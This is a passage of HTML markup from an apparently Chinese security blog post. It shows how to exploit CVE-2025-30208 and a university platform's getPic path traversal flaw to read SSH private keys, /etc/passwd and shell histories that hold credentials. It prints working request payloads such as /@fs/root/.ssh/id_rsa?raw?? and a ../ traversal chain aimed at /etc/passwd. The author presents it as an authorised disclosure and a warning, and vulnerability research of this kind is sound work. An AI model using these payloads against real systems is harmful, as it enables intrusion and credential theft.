MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">会发现显示 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">permission denied, open &#39;/root/.bash_history&#39;</span></code><span leaf=""> 这是因为不是所有业务都是用 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">root</span></code><span leaf=""> 账户起的（有些目标还是可以的），所以并没有权限读取 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">/root/.bash_history</span></code><span leaf=""> 文件，那接下来就要尝试其他用户，如下：</span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100002009" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4222222222222222" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=b8d5659b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibf7ZmPBicA3J3DSBxTA4kbmrz6bBpdEfhxg8sjYTR1YmhoxVJRvX8LxhYJsaUwA2mdZzJiaf54MmibOA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">哦哟，你看我发现了什么？SSH服务的公钥 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">authorised_keys</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">.ssh/</span></code><span leaf=""> 文件夹路径！</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">其实刚看 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">.bash_history</span></code><span leaf=""> 很糊，内容都缩成一团了，但可以通过编辑器工具对内容进行格式化：</span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100002010" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6148148148148148" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=31cc686b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibf7ZmPBicA3J3DSBxTA4kbmrPiaFtcqq2MQUvibQWM3wiaAHM0iaAPoBJ85iaU9ZrOdr21BpyUlF2PJiaGpQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100002011" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.645879732739421" data-s="300,640" data-type="png" data-w="449" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=385e5feb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibf7ZmPBicA3J3DSBxTA4kbmrku6FRv8QNjvgfO5sat5tmZ8DtfKn3K6xqYmUrs2aSz7WcgibxPQ0BgQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">剩下的大家都猜的出来了，通过 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">CVE-2025-30208</span></code><span leaf=""> 读取 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">/home/d*****in/.ssh/id_rsa</span></code><span leaf=""> 成功拿到了私钥，成功拿下该服务器，其实也可以直接猜测路径：</span></p><pre style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px 2px;padding: 0.5em;font-size: inherit;color: rgb(220, 220, 220);line-height: inherit;overflow-wrap: normal !important;border-radius: 0px;background: rgb(30, 30, 30);display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1</span></span><span leaf="">/root/.ssh/id_rsa?</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">import</span></span><span leaf="">&amp;raw??</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">2</span></span><span leaf="">/root/.ssh/id_ed25519?</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">import</span></span><span leaf="">&amp;raw??</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">3</span></span><span leaf="">/@fs/root/.ssh/id_rsa?raw??</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">4</span></span><span leaf="">/@fs/root/.ssh/id_ed25519?</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">import</span></span><span leaf="">&amp;raw??</span><span leaf=""><br/></span></code></pre><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过尝试拼接这个URL，可以批量去尝试读取对方机器的SSH私钥，但不一定在 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">/root</span></code><span leaf=""> 下，如果是在其他用户的目录下，就需要像上面一样尝试从 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">/etc/passwd</span></code><span leaf=""> 拿到用户名，并读取 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">/home/用户名/.ssh/id_rsa</span></code><span leaf=""> 拿到私钥。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">同时不止是找到SSH私钥，还可以在 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">.bash_history</span></code><span leaf=""> 找到数据库账号密码，认证需要的Key，以及SSH密码等等，如下：</span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100002012" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3509259259259259" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=53c064a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibf7ZmPBicA3J3DSBxTA4kbmrK9abNBVgBibVGWQ4TPcO4m6ur2xT3hJZy10es5aJUI2JxicgCFlYoCmg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">没想到吧？<img style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" class="rich_pages wxw-img" data-ratio="1" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=33b3d8da&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fassets%2Fnewemoji%2F2_04.png"/></span></p><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">4# 任意文件读取还能这么玩？</span></span></h3><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">好了，通过上面你应该认识到任意文件读取漏洞的危害了~</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">既然都说到任意文件读取漏洞了，接下来我要分享之前在某高校平台提交的任意文件读取组合技实现GetShell的实战报告（</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">PS：该漏洞目前已经上报修复啦，且我不是在SRC平台提交的，有相关授权，说泄露报告的师傅就不必了，本次披露仅做警示作用！</span></strong><span leaf="">）</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过信息搜集和模糊测试，对核心平台头像地址进行探测，发现敏感地址 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">/stu/common/getPic?path=/2023/图片名</span></code><span leaf="">，模糊测试发现任意文件读取漏洞（且该接口无鉴权），链接如下：</span></p><pre style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px 2px;padding: 0.5em;font-size: inherit;color: rgb(220, 220, 220);line-height: inherit;overflow-wrap: normal !important;border-radius: 0px;background: rgb(30, 30, 30);display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1</span></span><span leaf="">https:</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(87, 166, 74);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-style: italic;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">//xxxxxxxx.cn/system/common/getPic?path=/../../../../../../../../../../../../../../../../../etc/passwd</span></span><span leaf=""><br/></span></code></pre><section><span leaf=""><br/></span></section><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002013" data-ratio="0.5157407407407407" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bbccd22a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibf7ZmPBicA3J3DSBxTA4kbmrWcdoXqK5Nc65xwaG6EoU8QU5oAmwRUI0bS6CDZ3sZYzyxiaXunCZ9Hg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">尝试对 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">root</span></code><span leaf=""> 账户和 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">*****admin</span></code><span leaf=""> 账户的历史执行命令进行读取:</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002014" data-ratio="0.519516217702034" data-s="300,640" data-type="png" data-w="1819" type="block" style="pointer-events: initial;" src="https://wechat2rss.xlab.app/img-proxy/?k=249f0988&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbevLJIibEr29RwFwSjQTyEKCpNObua2Mcib23yByoGKAHDlmic0COAvvpibuSo6U3YlAzNM7G4AmgaUrA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: 